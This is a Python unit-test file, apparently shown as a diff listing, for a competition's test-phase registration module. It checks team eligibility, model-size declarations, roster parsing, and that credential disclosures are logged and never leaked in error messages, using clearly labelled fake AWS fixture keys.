|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Tests for test-phase registration: eligibility, declaration, disclosure.
|
| 3 |
+
|
| 4 |
+
Hermetic: no network, no HF. The HfApi and hf_hub_download the module reaches
|
| 5 |
+
for are injected as fakes.
|
| 6 |
+
|
| 7 |
+
Two properties carry the whole module and are asserted hardest:
|
| 8 |
+
|
| 9 |
+
1. A refusal must never contain any part of a credential. Every negative path is
|
| 10 |
+
checked against the fixture secret, not just the ones that look risky, so a
|
| 11 |
+
future edit that starts echoing state into an error message fails here.
|
| 12 |
+
2. A disclosure must be recorded before it is rendered. If the ledger write
|
| 13 |
+
fails, nothing is shown; an unlogged disclosure is permanently unaccountable.
|
| 14 |
+
|
| 15 |
+
python3 tests/test_register_test.py
|
| 16 |
+
"""
|
| 17 |
+
|
| 18 |
+
from __future__ import annotations
|
| 19 |
+
|
| 20 |
+
import json
|
| 21 |
+
import os
|
| 22 |
+
import sys
|
| 23 |
+
import tempfile
|
| 24 |
+
import unittest
|
| 25 |
+
from unittest import mock
|
| 26 |
+
|
| 27 |
+
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
| 28 |
+
|
| 29 |
+
import config # noqa: E402
|
| 30 |
+
import register_test as rt # noqa: E402
|
| 31 |
+
|
| 32 |
+
|
| 33 |
+
SECRET = "wJalrXUtnFEMI-FIXTURE-NOT-A-REAL-KEY-bPxRfiCY"
|
| 34 |
+
KEY_ID = "AKIAIOSFODNN7EXAMPLE" # AWS's own documentation example, on purpose.
|
| 35 |
+
REPO_URI = "123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/team-a"
|
| 36 |
+
|
| 37 |
+
CRED = {
|
| 38 |
+
"repo_uri": REPO_URI,
|
| 39 |
+
"access_key_id": KEY_ID,
|
| 40 |
+
"secret_access_key": SECRET,
|
| 41 |
+
"region": "us-east-2",
|
| 42 |
+
}
|
| 43 |
+
|
| 44 |
+
|
| 45 |
+
class FakeApi:
|
| 46 |
+
"""Records uploads; serves canned result files."""
|
| 47 |
+
|
| 48 |
+
def __init__(self, results=None, fail_upload=False):
|
| 49 |
+
self.token = "fake-token"
|
| 50 |
+
self._results = results if results is not None else []
|
| 51 |
+
self.uploads = []
|
| 52 |
+
self.fail_upload = fail_upload
|
| 53 |
+
|
| 54 |
+
def list_repo_files(self, repo_id, repo_type=None):
|
| 55 |
+
return [f"results/{config.PHASE}/{i}.json" for i in range(len(self._results))]
|
| 56 |
+
|
| 57 |
+
def upload_file(self, **kw):
|
| 58 |
+
if self.fail_upload:
|
| 59 |
+
raise OSError("ledger unavailable")
|
| 60 |
+
self.uploads.append(kw)
|
| 61 |
+
|
| 62 |
+
|
| 63 |
+
def _download_factory(tmpdir, api, shortlist, credentials):
|
| 64 |
+
"""Stand-in for hf_hub_download: writes the requested JSON and returns a path."""
|
| 65 |
+
|
| 66 |
+
def _download(repo_id, filename, repo_type=None, token=None):
|
| 67 |
+
if filename == rt.SHORTLIST_PATH:
|
| 68 |
+
payload = shortlist
|
| 69 |
+
elif filename == rt.CREDENTIALS_PATH:
|
| 70 |
+
payload = credentials
|
| 71 |
+
else:
|
| 72 |
+
idx = int(os.path.basename(filename).split(".")[0])
|
| 73 |
+
payload = api._results[idx]
|
| 74 |
+
path = os.path.join(tmpdir, filename.replace("/", "_"))
|
| 75 |
+
with open(path, "w", encoding="utf-8") as fh:
|
| 76 |
+
json.dump(payload, fh)
|
| 77 |
+
return path
|
| 78 |
+
|
| 79 |
+
return _download
|
| 80 |
+
|
| 81 |
+
|
| 82 |
+
class ParseTotalParamsTest(unittest.TestCase):
|
| 83 |
+
"""The declaration is required, positive, and reported in the unit asked for."""
|
| 84 |
+
|
| 85 |
+
def test_a_plain_count_in_billions_becomes_whole_parameters(self):
|
| 86 |
+
self.assertEqual(rt.parse_total_params(7)[0], 7_000_000_000)
|
| 87 |
+
self.assertEqual(rt.parse_total_params("1.5")[0], 1_500_000_000)
|
| 88 |
+
|
| 89 |
+
def test_a_missing_count_is_refused_and_names_the_frozen_backbone(self):
|
| 90 |
+
params, why = rt.parse_total_params(None)
|
| 91 |
+
self.assertIsNone(params)
|
| 92 |
+
self.assertIn("frozen backbone", why)
|
| 93 |
+
|
| 94 |
+
def test_zero_is_refused_rather_than_stored(self):
|
| 95 |
+
# Several validation entries declared 0.00000B. A zero in the ledger is
|
| 96 |
+
# indistinguishable from never having been asked.
|
| 97 |
+
for value in (0, 0.0, "0"):
|
| 98 |
+
params, why = rt.parse_total_params(value)
|
| 99 |
+
self.assertIsNone(params, f"{value!r} should be refused")
|
| 100 |
+
self.assertIn("greater than zero", why)
|
| 101 |
+
|
| 102 |
+
def test_a_non_number_is_refused_without_raising(self):
|
| 103 |
+
params, why = rt.parse_total_params("seven billion")
|
| 104 |
+
self.assertIsNone(params)
|
| 105 |
+
self.assertIn("number", why)
|
| 106 |
+
|
| 107 |
+
def test_a_count_that_rounds_to_zero_parameters_is_refused(self):
|
| 108 |
+
params, why = rt.parse_total_params(1e-12)
|
| 109 |
+
self.assertIsNone(params)
|
| 110 |
+
self.assertIn("rounds to zero", why)
|
| 111 |
+
|
| 112 |
+
def test_the_floor_is_off_by_default_so_no_team_is_refused_on_size_today(self):
|
| 113 |
+
# Whether to apply a floor is an open organizer decision; the shipped
|
| 114 |
+
# default must not silently enforce one.
|
| 115 |
+
self.assertEqual(config.TEST_REGISTRATION_MIN_TOTAL_PARAMS, 0)
|
| 116 |
+
self.assertIsNotNone(rt.parse_total_params(0.0001)[0])
|
| 117 |
+
|
| 118 |
+
def test_setting_the_floor_is_the_whole_change(self):
|
| 119 |
+
# Pins the claim made in the config comment: one constant, no code edit.
|
| 120 |
+
with mock.patch.object(config, "TEST_REGISTRATION_MIN_TOTAL_PARAMS", 100_000_000):
|
| 121 |
+
params, why = rt.parse_total_params(0.001) # 1M
|
| 122 |
+
self.assertIsNone(params)
|
| 123 |
+
self.assertIn("0.1B floor", why)
|
| 124 |
+
self.assertIsNotNone(rt.parse_total_params(0.5)[0])
|
| 125 |
+
|
| 126 |
+
|
| 127 |
+
class ParseEmailTest(unittest.TestCase):
|
| 128 |
+
def test_a_plain_address_is_accepted_and_trimmed(self):
|
| 129 |
+
self.assertEqual(rt.parse_email(" team@example.com ")[0], "team@example.com")
|
| 130 |
+
|
| 131 |
+
def test_an_empty_address_is_refused(self):
|
| 132 |
+
addr, why = rt.parse_email("")
|
| 133 |
+
self.assertIsNone(addr)
|
| 134 |
+
self.assertIn("contact email", why)
|
| 135 |
+
|
| 136 |
+
def test_obvious_nonsense_is_refused(self):
|
| 137 |
+
for bad in ("nope", "a@b", "a b@example.com", "@example.com", "a@@b.com"):
|
| 138 |
+
with self.subTest(value=bad):
|
| 139 |
+
self.assertIsNone(rt.parse_email(bad)[0], f"{bad!r} should be refused")
|
| 140 |
+
|
| 141 |
+
def test_unusual_but_real_addresses_are_not_rejected(self):
|
| 142 |
+
# A strict regex that refuses a real address locks a shortlisted team
|
| 143 |
+
# out of the phase, which is worse than storing one that bounces.
|
| 144 |
+
for good in ("a+tag@example.co.uk", "first.last@sub.example.org",
|
| 145 |
+
"x_y-z@example-domain.com"):
|
| 146 |
+
with self.subTest(value=good):
|
| 147 |
+
self.assertIsNotNone(rt.parse_email(good)[0], f"{good!r} is real")
|
| 148 |
+
|
| 149 |
+
|
| 150 |
+
class CheckDivisionTest(unittest.TestCase):
|
| 151 |
+
"""The declared size must match the division being entered."""
|
| 152 |
+
|
| 153 |
+
def test_a_small_model_in_small_and_a_large_in_large_pass(self):
|
| 154 |
+
self.assertTrue(rt.check_division(1_000_000_000, "small")[0])
|
| 155 |
+
self.assertTrue(rt.check_division(7_000_000_000, "large")[0])
|
| 156 |
+
|
| 157 |
+
def test_a_large_model_declared_as_small_is_refused_by_name(self):
|
| 158 |
+
ok, why = rt.check_division(7_000_000_000, "small")
|
| 159 |
+
self.assertFalse(ok)
|
| 160 |
+
self.assertIn("large", why)
|
| 161 |
+
self.assertIn("at most 2B", why)
|
| 162 |
+
|
| 163 |
+
def test_a_small_model_declared_as_large_is_refused(self):
|
| 164 |
+
ok, why = rt.check_division(1_000_000_000, "large")
|
| 165 |
+
self.assertFalse(ok)
|
| 166 |
+
self.assertIn("more than 2B", why)
|
| 167 |
+
|
| 168 |
+
def test_the_boundary_belongs_to_small(self):
|
| 169 |
+
# 2B exactly is Small; one parameter more is Large. Pinned because an
|
| 170 |
+
# off-by-one here silently moves a team between divisions.
|
| 171 |
+
self.assertTrue(rt.check_division(2_000_000_000, "small")[0])
|
| 172 |
+
self.assertTrue(rt.check_division(2_000_000_001, "large")[0])
|
| 173 |
+
|
| 174 |
+
|
| 175 |
+
class SubtrackTest(unittest.TestCase):
|
| 176 |
+
def test_the_key_matches_what_the_shortlist_file_uses(self):
|
| 177 |
+
# load_shortlist() builds "track/division" from the report; if these two
|
| 178 |
+
# ever disagree, every seat lookup fails and nobody can register.
|
| 179 |
+
self.assertEqual("convqa/large", rt.subtrack("convqa", "large"))
|
| 180 |
+
report = {"subtracks": [{"track": "convqa", "division": "large",
|
| 181 |
+
"shortlist": [{"team_name": "Team A"}]}]}
|
| 182 |
+
with mock.patch.object(rt, "_read_json", return_value=report):
|
| 183 |
+
got = rt.load_shortlist(None)
|
| 184 |
+
self.assertIn(rt.subtrack("convqa", "large"), got["team a"])
|
| 185 |
+
|
| 186 |
+
|
| 187 |
+
class ParseMembersTest(unittest.TestCase):
|
| 188 |
+
def test_one_member_per_line(self):
|
| 189 |
+
m, why = rt.parse_members("Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org")
|
| 190 |
+
self.assertEqual(2, len(m), why)
|
| 191 |
+
self.assertEqual({"name": "Ada Lovelace", "email": "ada@example.com"}, m[0])
|
| 192 |
+
|
| 193 |
+
def test_the_angle_bracket_form_is_accepted(self):
|
| 194 |
+
m, _ = rt.parse_members("Ada Lovelace <ada@example.com>")
|
| 195 |
+
self.assertEqual([{"name": "Ada Lovelace", "email": "ada@example.com"}], m)
|
| 196 |
+
|
| 197 |
+
def test_blank_lines_and_padding_are_ignored(self):
|
| 198 |
+
m, _ = rt.parse_members("\n Ada, ada@example.com \n\n")
|
| 199 |
+
self.assertEqual(1, len(m))
|
| 200 |
+
|
| 201 |
+
def test_an_empty_roster_is_refused(self):
|
| 202 |
+
m, why = rt.parse_members(" \n ")
|
| 203 |
+
self.assertIsNone(m)
|
| 204 |
+
self.assertIn("one per line", why)
|
| 205 |
+
|
| 206 |
+
def test_a_line_that_is_not_name_comma_email_names_its_line_number(self):
|
| 207 |
+
m, why = rt.parse_members("Ada, ada@example.com\njust-a-name")
|
| 208 |
+
self.assertIsNone(m)
|
| 209 |
+
self.assertIn("Line 2", why)
|
| 210 |
+
|
| 211 |
+
def test_a_bad_address_names_its_line_number(self):
|
| 212 |
+
m, why = rt.parse_members("Ada, ada@example.com\nAlan, nope")
|
| 213 |
+
self.assertIsNone(m)
|
| 214 |
+
self.assertIn("Line 2", why)
|
| 215 |
+
|
| 216 |
+
def test_an_address_with_no_name_is_refused(self):
|
| 217 |
+
m, why = rt.parse_members(", ada@example.com")
|
| 218 |
+
self.assertIsNone(m)
|
| 219 |
+
self.assertIn("no name", why)
|
| 220 |
+
|
| 221 |
+
def test_the_same_address_twice_is_refused(self):
|
| 222 |
+
m, why = rt.parse_members("Ada, a@example.com\nAda2, A@Example.com")
|
| 223 |
+
self.assertIsNone(m)
|
| 224 |
+
self.assertIn("twice", why)
|
| 225 |
+
|
| 226 |
+
def test_an_absurd_roster_is_refused_rather_than_stored(self):
|
| 227 |
+
m, why = rt.parse_members("\n".join(
|
| 228 |
+
f"P{i}, p{i}@example.com" for i in range(rt.MAX_TEAM_MEMBERS + 1)))
|
| 229 |
+
self.assertIsNone(m)
|
| 230 |
+
self.assertIn("at most", why)
|
| 231 |
+
|
| 232 |
+
|
| 233 |
+
class ParsePocTest(unittest.TestCase):
|
| 234 |
+
ROSTER = [{"name": "Ada", "email": "ada@example.com"},
|
| 235 |
+
{"name": "Alan", "email": "alan@example.org"}]
|
| 236 |
+
|
| 237 |
+
def test_the_record_ties_the_signed_in_account_to_the_person(self):
|
| 238 |
+
# The point: the account matched against the shortlist and the human we
|
| 239 |
+
# write to are the same entity, recorded together.
|
| 240 |
+
rec, why = rt.parse_poc("alan@example.org", self.ROSTER, "alice")
|
| 241 |
+
self.assertEqual(
|
| 242 |
+
{"hf_user": "alice", "name": "Alan", "email": "alan@example.org"},
|
| 243 |
+
rec, why,
|
| 244 |
+
)
|
| 245 |
+
|
| 246 |
+
def test_case_does_not_matter_and_the_listed_spelling_is_kept(self):
|
| 247 |
+
rec, _ = rt.parse_poc("ADA@Example.com", self.ROSTER, "alice")
|
| 248 |
+
self.assertEqual("ada@example.com", rec["email"])
|
| 249 |
+
self.assertEqual("Ada", rec["name"])
|
| 250 |
+
|
| 251 |
+
def test_someone_not_on_the_roster_is_refused_and_the_roster_is_shown(self):
|
| 252 |
+
# A point of contact who is not on the team is how a message reaches
|
| 253 |
+
# nobody, so this must refuse rather than store.
|
| 254 |
+
rec, why = rt.parse_poc("someone@else.com", self.ROSTER, "alice")
|
| 255 |
+
self.assertIsNone(rec)
|
| 256 |
+
self.assertIn("not one of the team members", why)
|
| 257 |
+
self.assertIn("ada@example.com", why)
|
| 258 |
+
|
| 259 |
+
def test_an_empty_poc_is_refused(self):
|
| 260 |
+
self.assertIsNone(rt.parse_poc("", self.ROSTER, "alice")[0])
|
| 261 |
+
|
| 262 |
+
|
| 263 |
+
class SizeNoteTest(unittest.TestCase):
|
| 264 |
+
"""Compares against the validation declaration. Never refuses."""
|
| 265 |
+
|
| 266 |
+
SEAT = {"model_name": "ValModel", "total_params": 7_000_000_000}
|
| 267 |
+
|
| 268 |
+
def test_the_same_size_says_nothing(self):
|
| 269 |
+
self.assertEqual("", rt.size_note(self.SEAT, 7_000_000_000))
|
| 270 |
+
|
| 271 |
+
def test_an_ordinary_change_of_model_says_nothing(self):
|
| 272 |
+
# A team is allowed to bring a different model, so 7B -> 13B is not
|
| 273 |
+
# remarkable and must not nag.
|
| 274 |
+
self.assertEqual("", rt.size_note(self.SEAT, 13_000_000_000))
|
| 275 |
+
|
| 276 |
+
def test_an_order_of_magnitude_smaller_is_flagged(self):
|
| 277 |
+
note = rt.size_note(self.SEAT, 7_000_000) # 7M against 7B
|
| 278 |
+
self.assertIn("smaller", note)
|
| 279 |
+
self.assertIn("7B", note)
|
| 280 |
+
|
| 281 |
+
def test_an_order_of_magnitude_larger_is_flagged(self):
|
| 282 |
+
self.assertIn("larger", rt.size_note(self.SEAT, 700_000_000_000))
|
| 283 |
+
|
| 284 |
+
def test_a_seat_with_no_recorded_size_says_nothing(self):
|
| 285 |
+
# Hand-edited shortlists carry no seat detail; that must be silent
|
| 286 |
+
# rather than crash or invent a comparison.
|
| 287 |
+
self.assertEqual("", rt.size_note({}, 7_000_000_000))
|
| 288 |
+
|
| 289 |
+
def test_the_note_can_be_switched_off(self):
|
| 290 |
+
with mock.patch.object(config, "TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR", 0):
|
| 291 |
+
self.assertEqual("", rt.size_note(self.SEAT, 7_000_000))
|
| 292 |
+
|
| 293 |
+
def test_it_never_refuses(self):
|
| 294 |
+
# size_note returns prose, never a verdict. Pinned because turning this
|
| 295 |
+
# into a gate would lock out every team that improved its model.
|
| 296 |
+
self.assertIsInstance(rt.size_note(self.SEAT, 1), str)
|
| 297 |
+
|
| 298 |
+
|
| 299 |
+
class NormalizeTeamTest(unittest.TestCase):
|
| 300 |
+
def test_case_whitespace_and_edge_punctuation_do_not_make_two_teams(self):
|
| 301 |
+
self.assertEqual(rt.normalize_team(" Team A "), rt.normalize_team("team a"))
|
| 302 |
+
self.assertEqual(rt.normalize_team("(fufu)"), rt.normalize_team("fufu"))
|
| 303 |
+
|
| 304 |
+
def test_it_agrees_with_the_organizer_shortlist_tool(self):
|
| 305 |
+
"""The two implementations are duplicated on purpose; pin them together.
|
| 306 |
+
|
| 307 |
+
register_test runs inside the Space and shortlist.py is an organizer
|
| 308 |
+
tool, so they cannot import each other. If they disagree, a team that
|
| 309 |
+
the shortlist seats is a team this module cannot find.
|
| 310 |
+
"""
|
| 311 |
+
try:
|
| 312 |
+
import shortlist
|
| 313 |
+
except ImportError:
|
| 314 |
+
self.skipTest("shortlist.py is an organizer tool, not shipped to the Space")
|
| 315 |
+
for name in ["Team A", " team a ", "(fufu)", "Deus Voir", "HIPPO-", "a.b"]:
|
| 316 |
+
self.assertEqual(
|
| 317 |
+
rt.normalize_team(name),
|
| 318 |
+
shortlist.normalize_team(name),
|
| 319 |
+
f"the two normalizers disagree on {name!r}",
|
| 320 |
+
)
|
| 321 |
+
|
| 322 |
+
|
| 323 |
+
class CheckTest(unittest.TestCase):
|
| 324 |
+
"""Eligibility. Every refusal must say which check failed."""
|
| 325 |
+
|
| 326 |
+
PAIRS = {("alice", "team a"), ("bob", "team b")}
|
| 327 |
+
SHORTLIST = {"team a": {"convqa/large": {"model_name": "ValModel",
|
| 328 |
+
"total_params": 7_000_000_000},
|
| 329 |
+
"longqa/small": {}}}
|
| 330 |
+
|
| 331 |
+
def _check(self, user, team, track="convqa", division="large"):
|
| 332 |
+
return rt.check(user, team, track, division, self.PAIRS, self.SHORTLIST)
|
| 333 |
+
|
| 334 |
+
def test_a_shortlisted_team_on_its_own_account_passes(self):
|
| 335 |
+
self.assertEqual(self._check("alice", "Team A"), (True, ""))
|
| 336 |
+
|
| 337 |
+
def test_not_signed_in_is_refused(self):
|
| 338 |
+
ok, why = self._check("", "Team A")
|
| 339 |
+
self.assertFalse(ok)
|
| 340 |
+
self.assertIn("Sign in", why)
|
| 341 |
+
|
| 342 |
+
def test_a_missing_team_name_is_refused(self):
|
| 343 |
+
ok, why = self._check("alice", " ")
|
| 344 |
+
self.assertFalse(ok)
|
| 345 |
+
self.assertIn("team name", why)
|
| 346 |
+
|
| 347 |
+
def test_a_wrong_team_for_this_account_lists_the_names_it_does_have(self):
|
| 348 |
+
# This is the typo case, and it must be recoverable without an email.
|
| 349 |
+
ok, why = self._check("alice", "Team Z")
|
| 350 |
+
self.assertFalse(ok)
|
| 351 |
+
self.assertIn("team a", why)
|
| 352 |
+
self.assertNotIn("not on the test-phase shortlist", why)
|
| 353 |
+
|
| 354 |
+
def test_an_account_that_never_competed_is_told_so_specifically(self):
|
| 355 |
+
ok, why = self._check("mallory", "Team A")
|
| 356 |
+
self.assertFalse(ok)
|
| 357 |
+
self.assertIn("No scored validation submission", why)
|
| 358 |
+
|
| 359 |
+
def test_a_real_team_that_is_not_shortlisted_is_refused_as_not_shortlisted(self):
|
| 360 |
+
ok, why = self._check("bob", "Team B")
|
| 361 |
+
self.assertFalse(ok)
|
| 362 |
+
self.assertIn("not on the test-phase shortlist", why)
|
| 363 |
+
|
| 364 |
+
def test_a_seat_in_one_subtrack_is_not_a_seat_in_another(self):
|
| 365 |
+
# The team holds convqa/large and longqa/small. Registering the two
|
| 366 |
+
# crossed combinations must be refused, and the refusal must name the
|
| 367 |
+
# seats it does hold, because the likely cause is the wrong radio.
|
| 368 |
+
for track, division in [("convqa", "small"), ("longqa", "large")]:
|
| 369 |
+
with self.subTest(sub=f"{track}/{division}"):
|
| 370 |
+
ok, why = self._check("alice", "Team A", track, division)
|
| 371 |
+
self.assertFalse(ok)
|
| 372 |
+
self.assertIn("convqa/large", why)
|
| 373 |
+
self.assertIn("longqa/small", why)
|
| 374 |
+
|
| 375 |
+
def test_each_held_seat_is_accepted(self):
|
| 376 |
+
for track, division in [("convqa", "large"), ("longqa", "small")]:
|
| 377 |
+
with self.subTest(sub=f"{track}/{division}"):
|
| 378 |
+
self.assertEqual((True, ""), self._check("alice", "Team A", track, division))
|
| 379 |
+
|
| 380 |
+
def test_a_track_the_test_phase_does_not_run_is_refused(self):
|
| 381 |
+
ok, why = self._check("alice", "Team A", "egoconv", "large")
|
| 382 |
+
self.assertFalse(ok)
|
| 383 |
+
self.assertIn("does not take", why)
|
| 384 |
+
|
| 385 |
+
def test_signing_in_alone_does_not_admit_someone_elses_team(self):
|
| 386 |
+
# The pairing is the control: bob is a real competitor, team a is a real
|
| 387 |
+
# shortlisted team, and bob still must not collect team a's credentials.
|
| 388 |
+
ok, why = self._check("bob", "Team A")
|
| 389 |
+
self.assertFalse(ok)
|
| 390 |
+
self.assertIn("not under", why)
|
| 391 |
+
|
| 392 |
+
|
| 393 |
+
class LoadShortlistTest(unittest.TestCase):
|
| 394 |
+
def test_it_reads_the_report_the_organizer_tool_emits(self):
|
| 395 |
+
report = {
|
| 396 |
+
"subtracks": [
|
| 397 |
+
{
|
| 398 |
+
"track": "convqa",
|
| 399 |
+
"division": "large",
|
| 400 |
+
"shortlist": [{"team_name": "Team A"}, {"team_name": "fufu"}],
|
| 401 |
+
}
|
| 402 |
+
]
|
| 403 |
+
}
|
| 404 |
+
with mock.patch.object(rt, "_read_json", return_value=report):
|
| 405 |
+
got = rt.load_shortlist(None)
|
| 406 |
+
self.assertIn("convqa/large", got["team a"])
|
| 407 |
+
self.assertIn("fufu", got)
|
| 408 |
+
|
| 409 |
+
def test_it_also_reads_a_hand_edited_team_map(self):
|
| 410 |
+
# The organizers edit the generated list before it becomes the invitation
|
| 411 |
+
# list, and must not have to preserve a schema to do it.
|
| 412 |
+
with mock.patch.object(rt, "_read_json", return_value={"Team A": ["convqa/large"]}):
|
| 413 |
+
got = rt.load_shortlist(None)
|
| 414 |
+
self.assertEqual(got, {"team a": {"convqa/large": {}}})
|
| 415 |
+
|
| 416 |
+
def test_an_unreadable_shape_raises_rather_than_seating_nobody(self):
|
| 417 |
+
with mock.patch.object(rt, "_read_json", return_value=["Team A"]):
|
| 418 |
+
with self.assertRaises(ValueError):
|
| 419 |
+
rt.load_shortlist(None)
|
| 420 |
+
|
| 421 |
+
|
| 422 |
+
class ValidationPairsTest(unittest.TestCase):
|
| 423 |
+
def setUp(self):
|
| 424 |
+
td = tempfile.TemporaryDirectory()
|
| 425 |
+
self.addCleanup(td.cleanup)
|
| 426 |
+
self.tmp = td.name
|
| 427 |
+
|
| 428 |
+
def _pairs(self, results):
|
| 429 |
+
api = FakeApi(results=results)
|
| 430 |
+
dl = _download_factory(self.tmp, api, {}, {})
|
| 431 |
+
with mock.patch("huggingface_hub.hf_hub_download", dl):
|
| 432 |
+
return rt.validation_pairs(api)
|
| 433 |
+
|
| 434 |
+
def test_only_scored_submissions_count(self):
|
| 435 |
+
pairs = self._pairs(
|
| 436 |
+
[
|
| 437 |
+
{"status": "FINISHED", "hf_user": "alice", "team_name": "Team A"},
|
| 438 |
+
{"status": "PENDING", "hf_user": "bob", "team_name": "Team B"},
|
| 439 |
+
]
|
| 440 |
+
)
|
| 441 |
+
self.assertEqual(pairs, {("alice", "team a")})
|
| 442 |
+
|
| 443 |
+
def test_one_unreadable_result_does_not_deny_every_team(self):
|
| 444 |
+
api = FakeApi(results=[{"status": "FINISHED", "hf_user": "a", "team_name": "T"}])
|
| 445 |
+
|
| 446 |
+
def dl(repo_id, filename, repo_type=None, token=None):
|
| 447 |
+
raise OSError("transient")
|
| 448 |
+
|
| 449 |
+
with mock.patch("huggingface_hub.hf_hub_download", dl):
|
| 450 |
+
self.assertEqual(rt.validation_pairs(api), set())
|
| 451 |
+
|
| 452 |
+
|
| 453 |
+
class IssueTest(unittest.TestCase):
|
| 454 |
+
"""The full path, including the two properties that matter most."""
|
| 455 |
+
|
| 456 |
+
def setUp(self):
|
| 457 |
+
td = tempfile.TemporaryDirectory()
|
| 458 |
+
self.addCleanup(td.cleanup)
|
| 459 |
+
self.tmp = td.name
|
| 460 |
+
